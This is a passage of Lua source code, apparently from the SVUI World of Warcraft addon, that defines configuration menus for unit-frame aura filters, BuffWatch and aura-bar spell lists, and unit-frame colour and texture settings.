SV.db.UnitFrames[unitName][auraType].filterDispellable = value; updateFunction(MOD, unitName) end, disabled = function() return SV.db.UnitFrames[unitName][auraType].filterWhiteList end, }, filterInfinite = { order = 4, type = "toggle", name = L["No Duration"], desc = L["Don't display auras that have no duration."], get = function(key) return SV.db.UnitFrames[unitName][auraType].filterInfinite end, set = function(key, value) SV.db.UnitFrames[unitName][auraType].filterInfinite = value; updateFunction(MOD, unitName) end, disabled = function() return SV.db.UnitFrames[unitName][auraType].filterWhiteList end, }, filterRaid = { order = 5, type = "toggle", name = L["Consolidated Buffs"], desc = L["Don't display consolidated buffs"], get = function(key) return SV.db.UnitFrames[unitName][auraType].filterRaid end, set = function(key, value) SV.db.UnitFrames[unitName][auraType].filterRaid = value; updateFunction(MOD, unitName) end, disabled = function() return SV.db.UnitFrames[unitName][auraType].filterWhiteList end, }, } } else configTable.friendlyGroup = { order = 20, guiInline = true, type = "group", name = L["When the unit is friendly..."], args = { filterAll = { order = 1, type = "toggle", name = L["Hide All"], desc = L["Don't display any " .. auraType .. "."], get = function(key) return SV.db.UnitFrames[unitName][auraType].filterAll.friendly end, set = function(key, value) SV.db.UnitFrames[unitName][auraType].filterAll.friendly = value; if(value) then SV.db.UnitFrames[unitName][auraType].filterWhiteList.friendly = false; SV.db.UnitFrames[unitName][auraType].filterPlayer.friendly = false; SV.db.UnitFrames[unitName][auraType].filterDispellable.friendly = false; SV.db.UnitFrames[unitName][auraType].filterInfinite.friendly = false; if(SV.db.UnitFrames[unitName][auraType].filterRaid) then SV.db.UnitFrames[unitName][auraType].filterRaid.friendly = false; end end updateFunction(MOD, unitName) end, }, filterWhiteList = { order = 2, type = "toggle", name = L["Only White Listed"], desc = L["Only show auras that are on the whitelist."], get = function(key)return SV.db.UnitFrames[unitName][auraType].filterWhiteList.friendly end, set = function(key, value)SV.db.UnitFrames[unitName][auraType].filterWhiteList.friendly = value; updateFunction(MOD, unitName) end, set = function(key, value) SV.db.UnitFrames[unitName][auraType].filterWhiteList.friendly = value; if(value) then SV.db.UnitFrames[unitName][auraType].filterPlayer.friendly = false; SV.db.UnitFrames[unitName][auraType].filterDispellable.friendly = false; SV.db.UnitFrames[unitName][auraType].filterInfinite.friendly = false; if(SV.db.UnitFrames[unitName][auraType].filterRaid) then SV.db.UnitFrames[unitName][auraType].filterRaid.friendly = false; end end updateFunction(MOD, unitName) end, disabled = function() return SV.db.UnitFrames[unitName][auraType].filterAll.friendly end, }, filterPlayer = { order = 3, type = "toggle", name = L["From You"], desc = L["Only show auras that were cast by you."], get = function(key)return SV.db.UnitFrames[unitName][auraType].filterPlayer.friendly end, set = function(key, value)SV.db.UnitFrames[unitName][auraType].filterPlayer.friendly = value; updateFunction(MOD, unitName) end, disabled = function() return (SV.db.UnitFrames[unitName][auraType].filterAll.friendly or SV.db.UnitFrames[unitName][auraType].filterWhiteList.friendly) end, }, filterDispellable = { order = 4, type = "toggle", name = L["You Can Remove"], desc = L["Only show auras that can be removed by you. (example: Purge, Dispel)"], get = function(key)return SV.db.UnitFrames[unitName][auraType].filterDispellable.friendly end, set = function(key, value)SV.db.UnitFrames[unitName][auraType].filterDispellable.friendly = value; updateFunction(MOD, unitName) end, disabled = function() return (SV.db.UnitFrames[unitName][auraType].filterAll.friendly or SV.db.UnitFrames[unitName][auraType].filterWhiteList.friendly) end, }, filterInfinite = { order = 5, type = "toggle", name = L["No Duration"], desc = L["Don't display auras that have no duration."], get = function(key)return SV.db.UnitFrames[unitName][auraType].filterInfinite.friendly end, set = function(key, value)SV.db.UnitFrames[unitName][auraType].filterInfinite.friendly = value; updateFunction(MOD, unitName) end, disabled = function() return (SV.db.UnitFrames[unitName][auraType].filterAll.friendly or SV.db.UnitFrames[unitName][auraType].filterWhiteList.friendly) end, }, }, } configTable.enemyGroup = { order = 21, guiInline = true, type = "group", name = L["When the unit is hostile..."], args = { filterAll = { order = 1, type = "toggle", name = L["Hide All"], desc = L["Don't display any " .. auraType .. "."], get = function(key)return SV.db.UnitFrames[unitName][auraType].filterAll.enemy end, set = function(key, value) SV.db.UnitFrames[unitName][auraType].filterAll.enemy = value; if(value) then SV.db.UnitFrames[unitName][auraType].filterWhiteList.enemy = false; SV.db.UnitFrames[unitName][auraType].filterPlayer.enemy = false; SV.db.UnitFrames[unitName][auraType].filterDispellable.enemy = false; SV.db.UnitFrames[unitName][auraType].filterInfinite.enemy = false; if(SV.db.UnitFrames[unitName][auraType].filterRaid) then SV.db.UnitFrames[unitName][auraType].filterRaid.enemy = false; end end updateFunction(MOD, unitName) end, }, filterWhiteList = { order = 2, type = "toggle", name = L["Only White Listed"], desc = L["Only show auras that are on the whitelist."], get = function(key)return SV.db.UnitFrames[unitName][auraType].filterWhiteList.enemy end, set = function(key, value) SV.db.UnitFrames[unitName][auraType].filterWhiteList.enemy = value; if(value) then SV.db.UnitFrames[unitName][auraType].filterPlayer.enemy = false; SV.db.UnitFrames[unitName][auraType].filterDispellable.enemy = false; SV.db.UnitFrames[unitName][auraType].filterInfinite.enemy = false; if(SV.db.UnitFrames[unitName][auraType].filterRaid) then SV.db.UnitFrames[unitName][auraType].filterRaid.enemy = false; end end updateFunction(MOD, unitName) end, disabled = function() return SV.db.UnitFrames[unitName][auraType].filterAll.enemy end, }, filterPlayer = { order = 3, type = "toggle", name = L["From You"], desc = L["Only show auras that were cast by you."], get = function(key)return SV.db.UnitFrames[unitName][auraType].filterPlayer.enemy end, set = function(key, value)SV.db.UnitFrames[unitName][auraType].filterPlayer.enemy = value; updateFunction(MOD, unitName) end, disabled = function() return (SV.db.UnitFrames[unitName][auraType].filterAll.enemy or SV.db.UnitFrames[unitName][auraType].filterWhiteList.enemy) end, }, filterDispellable = { order = 4, type = "toggle", name = L["You Can Remove"], desc = L["Only show auras that can be removed by you. (example: Purge, Dispel)"], get = function(key)return SV.db.UnitFrames[unitName][auraType].filterDispellable.enemy end, set = function(key, value)SV.db.UnitFrames[unitName][auraType].filterDispellable.enemy = value; updateFunction(MOD, unitName) end, disabled = function() return (SV.db.UnitFrames[unitName][auraType].filterAll.enemy or SV.db.UnitFrames[unitName][auraType].filterWhiteList.enemy) end, }, filterInfinite = { order = 5, type = "toggle", name = L["No Duration"], desc = L["Don't display auras that have no duration."], get = function(key)return SV.db.UnitFrames[unitName][auraType].filterInfinite.enemy end, set = function(key, value)SV.db.UnitFrames[unitName][auraType].filterInfinite.enemy = value; updateFunction(MOD, unitName) end, disabled = function() return (SV.db.UnitFrames[unitName][auraType].filterAll.enemy or SV.db.UnitFrames[unitName][auraType].filterWhiteList.enemy) end, }, }, } if(SV.db.UnitFrames[unitName][auraType].filterRaid) then configTable.friendlyGroup.args.filterRaid = { order = 6, type = "toggle", name = L["Consolidated Buffs"], desc = L["Don't display consolidated buffs"], get = function(key)return SV.db.UnitFrames[unitName][auraType].filterRaid.friendly end, set = function(key, value)SV.db.UnitFrames[unitName][auraType].filterRaid.friendly = value; updateFunction(MOD, unitName) end, disabled = function() return (SV.db.UnitFrames[unitName][auraType].filterAll.friendly or SV.db.UnitFrames[unitName][auraType].filterWhiteList.friendly) end, }; configTable.enemyGroup.args.filterRaid = { order = 6, type = "toggle", name = L["Consolidated Buffs"], desc = L["Don't display consolidated buffs"], get = function(key)return SV.db.UnitFrames[unitName][auraType].filterRaid.enemy end, set = function(key, value)SV.db.UnitFrames[unitName][auraType].filterRaid.enemy = value; updateFunction(MOD, unitName) end, disabled = function() return (SV.db.UnitFrames[unitName][auraType].filterAll.enemy or SV.db.UnitFrames[unitName][auraType].filterWhiteList.enemy) end, }; end end end function SVUIOptions:SetAuraConfigGroup(isPlayer, auraType, unused, updateFunction, unitName, count) local groupOrder = auraType == "buffs" and 600 or 700 local groupName = auraType == "buffs" and L["Buffs"] or L["Debuffs"] local attachToValue, attachToName; if auraType == "buffs" then attachToValue = "DEBUFFS" attachToName = L["Debuffs"] else attachToValue = "BUFFS" attachToName = L["Buffs"] end local configTable = { order = groupOrder, name = groupName, type = "group", get = function(key) return SV.db.UnitFrames[unitName][auraType][key[#key]] end, set = function(key, value) MOD:ChangeDBVar(value, key[#key], unitName, auraType) updateFunction(MOD, unitName, count) end, args = { enable = { type = "toggle", order = 2, name = L["Enable "..groupName] }, attachTo1 = { type = "toggle", order = 3, name = L["Attach To"] .. " " .. L["Frame"], get = function(key) return SV.db.UnitFrames[unitName][auraType]["attachTo"] == "FRAME" end, set = function(key, value) if(not value) then MOD:ChangeDBVar(attachToValue, "attachTo", unitName, auraType) else MOD:ChangeDBVar("FRAME", "attachTo", unitName, auraType) end updateFunction(MOD, unitName, count) end, }, attachTo2 = { type = "toggle", order = 4, name = L["Attach To"] .. " " .. attachToName, get = function(key) return SV.db.UnitFrames[unitName][auraType]["attachTo"] == attachToValue end, set = function(key, value) if(not value) then MOD:ChangeDBVar("FRAME", "attachTo", unitName, auraType) else MOD:ChangeDBVar(attachToValue, "attachTo", unitName, auraType) end updateFunction(MOD, unitName, count) end, }, spacer1 = { order = 5, name = "", type = "description", width = "full", }, anchorPoint = { type = "select", order = 6, name = L["Anchor Point"], desc = L["What point to anchor to the frame you set to attach to."], values = SV.PointIndexes }, verticalGrowth = { type = "select", order = 7, name = L["Vertical Growth"], desc = L["The vertical direction that the auras will position themselves"], values = {UP = "UP", DOWN = "DOWN"} }, horizontalGrowth = { type = "select", order = 8, name = L["Horizontal Growth"], desc = L["The horizontal direction that the auras will position themselves"], values = {LEFT = "LEFT", RIGHT = "RIGHT"} }, spacer2 = { order = 9, name = "", type = "description", width = "full", }, perrow = { type = "range", order = 10, name = L["Per Row"], min = 1, max = 20, step = 1 }, numrows = { type = "range", order = 11, name = L["Num Rows"], min = 1, max = 4, step = 1 }, sizeOverride = { type = "range", order = 12, name = L["Size Override"], desc = L["If not set to 0 then override the size of the aura icons (or height of aura bars)."], min = 0, max = 60, step = 1 }, barWidthOverride = { type = "range", order = 13, name = L["Bar Width Override"], desc = L["If not set to 0 then override the width of aura bars."], min = 0, max = 500, step = 1 }, spacer3 = { order = 14, name = "", type = "description", width = "full", }, xOffset = { order = 15, type = "range", name = L["xOffset"], min = -60, max = 60, step = 1 }, yOffset = { order = 16, type = "range", name = L["yOffset"], min = -60, max = 60, step = 1 }, spacing = { order = 17, name = L["Aura Spacing"], type = "range", min = 0, max = 20, step = 1, width = "fill", }, useFilter = { order = 18, type = "select", name = L["Custom Filter"], desc = L["Select a custom filter to include."], values = function() filterList = {} filterList[""] = NONE; for n in pairs(SV.db.Filters.Custom) do filterList[n] = n end return filterList end, get = function(key) return SV.db.UnitFrames[unitName][auraType].useFilter end, set = function(key, value) SV.db.UnitFrames[unitName][auraType].useFilter = value; updateFunction(MOD, unitName) end, }, spacer4 = { order = 19, name = "", type = "description", width = "full", }, } } local unitGlobalName = FRAME_MAP[unitName]; if(unitGlobalName) then configTable.args.showAuras = { order = 0, type = "execute", name = L["Show Auras"], func = function() local unitframe = _G[unitGlobalName]; if unitframe.forceShowAuras then unitframe.forceShowAuras = nil else unitframe.forceShowAuras = true end updateFunction(MOD, unitName, count) end } configTable.args.showAurasSpacer = { order = 1, name = "", type = "description", width = "full", } end setAuraFilteringOptions(configTable.args, unitName, auraType, updateFunction, isPlayer) if(unitName == 'player' or unitName == 'target' or unitName == 'focus') then configTable.args.barGroup = { order = 20, type = "group", guiInline = true, name = L["Bar Style "..groupName], args = { useBars = { type = "toggle", order = 1, name = L["Enable"] }, configureButton1 = { order = 2, name = L["Coloring"], type = "execute", func = function() ACD:SelectGroup(SV.NameID, "UnitFrames", "commonGroup", "baseGroup", "allColorsGroup", "auraBars") end, disabled = function() return not SV.db.UnitFrames[unitName][auraType].useBars end, }, configureButton2 = { order = 3, name = L["Coloring (Specific)"], type = "execute", func = function() SVUIOptions:SetToFilterConfig("AuraBars") end, disabled = function() return not SV.db.UnitFrames[unitName][auraType].useBars end, }, spacer = { order = 4, name = "", type = "description", width = "full", disabled = function() return not SV.db.UnitFrames[unitName][auraType].useBars end, }, sort = { type = "select", order = 5, name = L["Sort Method"], values = {["TIME_REMAINING"] = L["Time Remaining"], ["TIME_REMAINING_REVERSE"] = L["Time Remaining Reverse"], ["TIME_DURATION"] = L["Duration"], ["TIME_DURATION_REVERSE"] = L["Duration Reverse"], ["NAME"] = NAME, ["NONE"] = NONE}, disabled = function() return not SV.db.UnitFrames[unitName][auraType].useBars end, }, } } end return configTable end SV:GenerateFontOptionGroup("UnitFrame", 6, "Fonts used in unit frames.", unitFonts) SVUIOptions.FilterOptionGroups['AuraBars'] = function(selectedSpell) if(not SV.db.Filters.AuraBars) then SV.db.Filters.AuraBars = {} end; local RESULT = { type = "group", name = 'AuraBars', guiInline = true, order = 10, args = { addSpell = { order = 1, name = L["Add Spell"] .. " by ID", desc = L["Add a spell to the filter by ID (number). You can use wowhead.com to find the ID of your desired spell"], type = "input", guiInline = true, get = function(key) return "" end, set = function(key, value) local spellID = tonumber(value); if(not spellID) then SV:AddonMessage(L["Value must be a number"]) elseif(not GetSpellInfo(spellID)) then SV:AddonMessage(L["Not valid spell id"]) elseif not SV.db.Filters.AuraBars[value] then SV.db.Filters.AuraBars[value] = false MOD:SetUnitFrame("player") MOD:SetUnitFrame("target") MOD:SetUnitFrame("focus") SVUIOptions:SetFilterOptions('AuraBars', value) end end }, removeSpell = { order = 2, name = L["Remove Spell"], desc = L["Remove a spell from the filter."], type = "select", guiInline = true, disabled = function() local EMPTY = true; for g in pairs(SV.db.Filters.AuraBars) do EMPTY = false; end return EMPTY end, values = function() wipe(tempFilterTable) for stringID,color in pairs(SV.db.Filters.AuraBars) do local spellID if(type(stringID) ~= 'number') then spellID = tonumber(stringID) else spellID = stringID stringID = tostring(stringID) end local auraName = GetSpellInfo(spellID) tempFilterTable[stringID] = auraName --print(stringID)print(auraName)print('-----') end return tempFilterTable end, get = function(key) return "" end, set = function(key, value) --print(value) SV.db.Filters.AuraBars[value] = nil MOD:SetUnitFrame("player") MOD:SetUnitFrame("target") MOD:SetUnitFrame("focus") SVUIOptions:SetFilterOptions('AuraBars') end }, selectSpell = { name = L["Select Spell"], type = "select", order = 3, guiInline = true, get = function(key) return selectedSpell end, set = function(key, value) SVUIOptions:SetFilterOptions('AuraBars', value) end, values = function() wipe(tempFilterTable) tempFilterTable[""] = NONE; for stringID,color in pairs(SV.db.Filters.AuraBars) do local spellID if(type(stringID) ~= 'number') then spellID = tonumber(stringID) else spellID = stringID stringID = tostring(stringID) end local auraName = GetSpellInfo(spellID) tempFilterTable[stringID] = auraName end return tempFilterTable end } } }; return RESULT; end; SVUIOptions.FilterOptionSpells['AuraBars'] = function(selectedSpell) if(not SV.db.Filters.AuraBars) then SV.db.Filters.AuraBars = {} end; local RESULT; if(selectedSpell and (SV.db.Filters.AuraBars[selectedSpell] ~= nil)) then RESULT = { type = "group", name = selectedSpell, order = 15, guiInline = true, args = { color = { name = L["Color"], type = "color", order = 1, get = function(key) local abColor = SV.db.Filters.AuraBars[selectedSpell] if type(abColor) == "boolean" then return 0, 0, 0, 1 else return abColor[1], abColor[2], abColor[3], abColor[4] end end, set = function(key, r, g, b) SV.db.Filters.AuraBars[selectedSpell] = {r, g, b} MOD:SetUnitFrame("player") MOD:SetUnitFrame("target") MOD:SetUnitFrame("focus") end }, removeColor = { type = "execute", order = 2, name = L["Restore Defaults"], func = function(key, value) SV.db.Filters.AuraBars[selectedSpell] = false; MOD:SetUnitFrame("player") MOD:SetUnitFrame("target") MOD:SetUnitFrame("focus") end } } }; end return RESULT; end; SVUIOptions.FilterOptionGroups['BuffWatch'] = function(selectedSpell) local FILTER = SV.db.Filters.BuffWatch; --CacheWatchedBuffs(SV.db.Filters.BuffWatch) local RESULT = { type = "group", name = 'BuffWatch', guiInline = true, order = 4, args = { addSpellID = { order = 1, name = L["Add SpellID"], desc = L["Add a spell to the filter."], type = "input", get = function(key)return""end, set = function(key, value) local spellID = tonumber(value); if(not spellID) then SV:AddonMessage(L["Value must be a number"]) elseif(not GetSpellInfo(spellID)) then SV:AddonMessage(L["Not valid spell id"]) else SetWatchedBuff(value, spellID, FILTER, true, "TOPRIGHT", DEFAULT_COLOR, false) UpdateBuffWatch() SVUIOptions:SetFilterOptions('BuffWatch', spellID) end end }, removeSpellID = { order = 2, name = L["Remove SpellID"], desc = L["Remove a spell from the filter."], type = "input", get = function(key)return""end, set = function(key, value) local spellID = tonumber(value); if(not spellID) then SV:AddonMessage(L["Value must be a number"]) elseif(not GetSpellInfo(spellID)) then SV:AddonMessage(L["Not valid spell id"]) else local temp; for id, data in pairs(FILTER) do if(tonumber(id) == spellID) then temp = data; FILTER[id] = nil end end if temp == nil then SV:AddonMessage(L["Spell not found in list."]) else SVUIOptions:SetFilterOptions('BuffWatch') end end UpdateBuffWatch("raid") UpdateBuffWatch("party") SVUIOptions:SetFilterOptions('BuffWatch') end }, selectSpell = { name = L["Select Spell"], type = "select", order = 3, values = function() --CacheWatchedBuffs(SV.db.Filters.BuffWatch) wipe(tempFilterTable) for id, watchData in pairs(FILTER) do local spellID = tonumber(id) local name = GetSpellInfo(spellID) if(name) then tempFilterTable[spellID] = name end end return tempFilterTable end, get = function(key) return selectedSpell end, set = function(key, value) SVUIOptions:SetFilterOptions('BuffWatch', value) end } } } return RESULT; end; SVUIOptions.FilterOptionSpells['BuffWatch'] = function(selectedSpell) local RESULT; local FILTER = SV.db.Filters.BuffWatch; if(selectedSpell) then local registeredSpell; for id, watchData in pairs(FILTER)do if(tonumber(id) == selectedSpell) then registeredSpell = id end end local currentSpell = GetSpellInfo(selectedSpell) if(currentSpell and registeredSpell) then RESULT = { name = currentSpell.." (Spell ID#: "..selectedSpell..")", type = "group", guiInline = true, get = function(key) return FILTER[registeredSpell][key[#key]] end, set = function(key, value) SV.db.Filters.BuffWatch[registeredSpell][key[#key]] = value; UpdateBuffWatch(); end, order = 5, args = { enable = { name = L["Enable"], width = 'full', order = 0, type = "toggle" }, displayText = { name = L["Display Text"], width = 'full', type = "toggle", order = 1, }, anyUnit = { name = L["Show Aura From Other Players"], width = 'full', order = 2, type = "toggle" }, onlyShowMissing = { name = L["Show When Not Active"], width = 'full', order = 3, type = "toggle", disabled = function() return FILTER[registeredSpell].style == "text" end }, point = { name = L["Anchor Point"], order = 4, type = "select", values = POSITION_SELECT }, style = { name = L["Style"], order = 5, type = "select", values = STYLE_SELECT }, color = { name = L["Color"], type = "color", order = 6, get = function(key) local abColor = FILTER[registeredSpell][key[#key]] return abColor.r, abColor.g, abColor.b, abColor.a end, set = function(key, r, g, b) local abColor = FILTER[registeredSpell][key[#key]] abColor.r, abColor.g, abColor.b = r, g, b; UpdateBuffWatch() end }, textColor = { name = L["Text Color"], type = "color", order = 7, get = function(key) local abColor = FILTER[registeredSpell][key[#key]] if abColor then return abColor.r, abColor.g, abColor.b, abColor.a else return 1, 1, 1, 1 end end, set = function(key, r, g, b) FILTER[registeredSpell][key[#key]] = FILTER[registeredSpell][key[#key]] or {} local abColor = FILTER[registeredSpell][key[#key]] abColor.r, abColor.g, abColor.b = r, g, b; UpdateBuffWatch() end }, textThreshold = { name = L["Text Threshold"], desc = L["At what point should the text be displayed. Set to -1 to disable."], type = "range", order = 8, width = 'full', min = -1, max = 60, step = 1 }, xOffset = {order = 9, type = "range", width = 'full', name = L["xOffset"], min = -75, max = 75, step = 1}, yOffset = {order = 10, type = "range", width = 'full', name = L["yOffset"], min = -75, max = 75, step = 1}, } } end end return RESULT; end; SVUIOptions.FilterOptionGroups['PetBuffWatch'] = function(selectedSpell) --CacheWatchedBuffs(SV.db.Filters.PetBuffWatch) local FILTER = SV.db.Filters.PetBuffWatch; local RESULT = { type = "group", name = 'PetBuffWatch', guiInline = true, order = 4, args = { addSpellID = { order = 1, name = L["Add SpellID"], desc = L["Add a spell to the filter."], type = "input", get = function(key) return "" end, set = function(key, value) local spellID = tonumber(value); if(not spellID) then SV:AddonMessage(L["Value must be a number"]) elseif(not GetSpellInfo(spellID)) then SV:AddonMessage(L["Not valid spell id"]) else SetWatchedBuff(value, spellID, FILTER, true, "TOPRIGHT", DEFAULT_COLOR, true) UpdatePetBuffWatch() SVUIOptions:SetFilterOptions('PetBuffWatch', spellID) end end }, removeSpellID = { order = 2, name = L["Remove SpellID"], desc = L["Remove a spell from the filter."], type = "input", get = function(key) return "" end, set = function(key, value) local spellID = tonumber(value); if(not spellID) then SV:AddonMessage(L["Value must be a number"]) elseif(not GetSpellInfo(spellID)) then SV:AddonMessage(L["Not valid spell id"]) else local success = false; for id, data in pairs(FILTER) do if(tonumber(id) == spellID) then success = true; data.enable = false; end end if not success then SV:AddonMessage(L["Spell not found in list."]) else SVUIOptions:SetFilterOptions() end end UpdatePetBuffWatch() SVUIOptions:SetFilterOptions('PetBuffWatch', value) end }, selectSpell = { name = L["Select Spell"], type = "select", order = 3, values = function() --CacheWatchedBuffs(FILTER) wipe(tempFilterTable) for id, watchData in pairs(FILTER) do local spellID = tonumber(id) local name = GetSpellInfo(spellID) if(name) then tempFilterTable[spellID] = name end end return tempFilterTable end, get = function(key) return selectedSpell end, set = function(key, value) SVUIOptions:SetFilterOptions('PetBuffWatch', value) end } } }; return RESULT; end; SVUIOptions.FilterOptionSpells['PetBuffWatch'] = function(selectedSpell) local RESULT; local FILTER = SV.db.Filters.PetBuffWatch; if(selectedSpell) then local registeredSpell; for id, watchData in pairs(FILTER)do if(tonumber(id) == selectedSpell) then registeredSpell = id end end local currentSpell = GetSpellInfo(selectedSpell) if(currentSpell and registeredSpell) then RESULT = { name = currentSpell.." ("..selectedSpell..")", type = "group", get = function(key)return FILTER[registeredSpell][key[#key]] end, set = function(key, value) FILTER[registeredSpell][key[#key]] = value; UpdatePetBuffWatch() end, order = 5, guiInline = true, args = { enable = { name = L["Enable"], order = 0, type = "toggle" }, point = { name = L["Anchor Point"], order = 1, type = "select", values = POSITION_SELECT }, xOffset = {order = 2, type = "range", name = L["xOffset"], min = -75, max = 75, step = 1}, yOffset = {order = 2, type = "range", name = L["yOffset"], min = -75, max = 75, step = 1}, style = { name = L["Style"], order = 3, type = "select", values = STYLE_SELECT }, color = { name = L["Color"], type = "color", order = 4, get = function(key) local abColor = FILTER[registeredSpell][key[#key]] return abColor.r, abColor.g, abColor.b, abColor.a end, set = function(key, r, g, b) local abColor = FILTER[registeredSpell][key[#key]] abColor.r, abColor.g, abColor.b = r, g, b; UpdatePetBuffWatch() end }, displayText = { name = L["Display Text"], type = "toggle", order = 5 }, textColor = { name = L["Text Color"], type = "color", order = 6, get = function(key) local abColor = FILTER[registeredSpell][key[#key]] if abColor then return abColor.r,abColor.g,abColor.b,abColor.a else return 1,1,1,1 end end, set = function(key, r, g, b) local abColor = FILTER[registeredSpell][key[#key]] abColor.r,abColor.g,abColor.b = r, g, b; UpdatePetBuffWatch() end }, textThreshold = { name = L["Text Threshold"], desc = L["At what point should the text be displayed. Set to -1 to disable."], type = "range", order = 6, min = -1, max = 60, step = 1 }, anyUnit = { name = L["Show Aura From Other Players"], order = 7, type = "toggle" }, onlyShowMissing = { name = L["Show When Not Active"], order = 8, type = "toggle", disabled = function() return FILTER[registeredSpell].style == "text" end } } } end end return RESULT; end; SV.Options.args[Schema] = { type = "group", name = Schema, childGroups = "tab", get = function(key) return SV.db[Schema][key[#key]] end, set = function(key, value) MOD:ChangeDBVar(value, key[#key]); MOD:RefreshUnitFrames(); end, args = { commonGroup = { order = 1, type = 'group', name = '', childGroups = "tree", args = { baseGroup = { order = 1, type = "group", name = L["General"], args = { commonGroup = { order = 1, type = "group", guiInline = true, name = L["General"], args = { themed = { order = 1, name = L["Elite Bursts"], desc = L["Toggle the styled starbursts around the target frame for elites and rares"], type = "toggle" }, disableBlizzard = { order = 2, name = L["Disable Blizzard"], desc = L["Disables the blizzard party/raid frames."], type = "toggle", get = function(key) return SV.db[Schema].disableBlizzard end, set = function(key, value) MOD:ChangeDBVar(value, "disableBlizzard"); SV:StaticPopup_Show("RL_CLIENT") end }, fastClickTarget = { order = 3, name = L["Fast Clicks"], desc = L["Immediate mouse-click-targeting"], type = "toggle" }, debuffHighlighting = { order = 4, name = L["Debuff Highlight"], desc = L["Color the unit if there is a debuff that can be dispelled by your class."], type = "toggle" }, xrayFocus = { order = 5, name = L["X-Ray Specs"], desc = L["Use handy graphics to focus the current target, or clear the current focus"], type = "toggle" }, resolveBar = { order = 6, name = L["Resolve Meter"], desc = L["A convenient meter for tanks to display their current resolve."], type = "toggle" }, infoBackgrounds = { order = 7, name = L["Info Backgrounds"], desc = L["Show or hide the gradient under each of the four main unitframes. (Player, Target, Pet, Target of Target)"], type = "toggle" }, spacer99 = { order = 8, name = "", type = "description", width = "full", }, OORAlpha = { order = 9, name = L["Range Fading"], desc = L["The transparency of units that are out of range."], type = "range", min = 0, max = 1, step = 0.01, set = function(key, value) MOD:ChangeDBVar(value, key[#key]); end }, groupOORAlpha = { order = 10, name = L["Group Range Fading"], desc = L["The transparency of group units that are out of range."], type = "range", min = 0, max = 1, step = 0.01, set = function(key, value) MOD:ChangeDBVar(value, key[#key]); end }, } }, backgroundGroup = { order = 2, type = "group", guiInline = true, name = "Unit Backgrounds (3D Portraits Only)", get = function(key) return SV.media.shared.background[key[#key]].file end, set = function(key, value) SV.media.shared.background[key[#key]].file = value SV:RefreshEverything(true) end, args = { unitlarge = { type = "select", dialogControl = "LSM30_Background", order = 2, name = "Unit Background", values = AceGUIWidgetLSMlists.background, }, unitsmall = { type = "select", dialogControl = "LSM30_Background", order = 3, name = "Small Unit Background", values = AceGUIWidgetLSMlists.background, } } }, barGroup = { order = 3, type = "group", guiInline = true, name = L["Bars"], get = function(key) return SV.db[Schema][key[#key]] end, set = function(key, value) MOD:ChangeDBVar(value, key[#key]); MOD:RefreshAllUnitMedia() end, args = { smoothbars = { type = "toggle", order = 1, name = L["Smooth Bars"], desc = L["Bars will transition smoothly."] }, statusbar = { type = "select", dialogControl = "LSM30_Statusbar", order = 2, name = L["StatusBar Texture"], desc = L["Main statusbar texture."], values = AceGUIWidgetLSMlists.statusbar }, auraBarStatusbar = { type = "select", dialogControl = "LSM30_Statusbar", order = 3, name = L["AuraBar Texture"], desc = L["Main statusbar texture."], values = AceGUIWidgetLSMlists.statusbar }, } }, fontGroup = { order = 4, type = "group", guiInline = true, name = L["Fonts"], args = { fontConfigButton = { order = 1, name = L["Set UnitFrame Fonts"], type = "execute", func = function() SVUIOptions:SetToFontConfig("UnitFrame") end }, } }, allColorsGroup = { order = 5, type = "group", guiInline = true, name = L["Colors"], args = { healthGroup = { order = 9, type = "group", guiInline = true, name = HEALTH, args = { forceHealthColor = { order = 1, type = "toggle", name = L["Overlay Health Color"], desc = L["Allow custom health colors when using portrait overlays."], get = function(key) return SV.db[Schema][key[#key]] end, set = function(key, value) MOD:ChangeDBVar(value, key[#key]); MOD:RefreshUnitFrames() end }, overlayAnimation = { order = 2, type = "toggle", name = L["Overlay Animations"], desc = L["Toggle health animations on portrait overlays."], get = function(key) return SV.db[Schema][key[#key]] end, set = function(key, value) MOD:ChangeDBVar(value, key[#key]); MOD:RefreshUnitFrames() end }, health = { order = 3, type = "color", name = L["Health"], get = function(key) local color = SV.media.extended.unitframes.health return color[1],color[2],color[3] end, set = function(key, rValue, gValue, bValue) SV.media.extended.unitframes.health = {rValue, gValue, bValue} MOD:RefreshAllUnitMedia() end, }, healthBackdrop = { order = 4, type = "color", name = L["Health Backdrop"], get = function(key) local color = SV.media.extended.unitframes.healthBackdrop return color[1],color[2],color[3] end, set = function(key, rValue, gValue, bValue) SV.media.extended.unitframes.healthBackdrop = {rValue, gValue, bValue} MOD:RefreshAllUnitMedia() end, }, tapped = { order = 5, type = "color", name = L["Tapped"], get = function(key) local color = SV.media.extended.unitframes.tapped return color[1],color[2],color[3] end, set = function(key, rValue, gValue, bValue) SV.media.extended.unitframes.tapped = {rValue, gValue, bValue} MOD:RefreshAllUnitMedia() end, }, disconnected = { order = 6, type = "color", name = L["Disconnected"], get = function(key) local color = SV.media.extended.unitframes.disconnected return color[1],color[2],color[3] end, set = function(key, rValue, gValue, bValue) SV.media.extended.unitframes.disconnected = {rValue, gValue, bValue} MOD:RefreshAllUnitMedia() end, } } }, powerGroup = { order = 10, type = "group", guiInline = true, name = L["Powers"], args = { MANA = { order = 1, name = MANA, type = "color", get = function(key) local color = SV.media.extended.unitframes.power["MANA"] return color[1],color[2],color[3] end, set = function(key, rValue, gValue, bValue) SV.media.extended.unitframes.power["MANA"] = {rValue, gValue, bValue} MOD:RefreshAllUnitMedia() end, }, RAGE = { order = 2, name = RAGE, type = "color", get = function(key) local color = SV.media.extended.unitframes.power["RAGE"] return color[1],color[2],color[3] end, set = function(key, rValue, gValue, bValue) SV.media.extended.unitframes.power["RAGE"] = {rValue, gValue, bValue} MOD:RefreshAllUnitMedia() end, }, FOCUS = { order = 3, name = FOCUS, type = "color", get = function(key) local color = SV.media.extended.unitframes.power["FOCUS"] return color[1],color[2],color[3] end, set = function(key, rValue, gValue, bValue) SV.media.extended.unitframes.power["FOCUS"] = {rValue, gValue, bValue} MOD:RefreshAllUnitMedia() end, }, ENERGY = { order = 4, name = ENERGY, type = "color", get = function(key) local color = SV.media.extended.unitframes.power["ENERGY"] return color[1],color[2],color[3] end, set = function(key, rValue, gValue, bValue) SV.media.extended.unitframes.power["ENERGY"] = {rValue, gValue, bValue} MOD:RefreshAllUnitMedia() end, }, RUNIC_POWER = { order = 5, name = RUNIC_POWER, type = "color", get = function(key) local color = SV.media.extended.unitframes.power["RUNIC_POWER"] return color[1],color[2],color[3] end, set = function(key, rValue, gValue, bValue) SV.media.extended.unitframes.power["RUNIC_POWER"] = {rValue, gValue, bValue} MOD:RefreshAllUnitMedia() end, } } }, castBars = { order = 11, type = "group", guiInline = true, 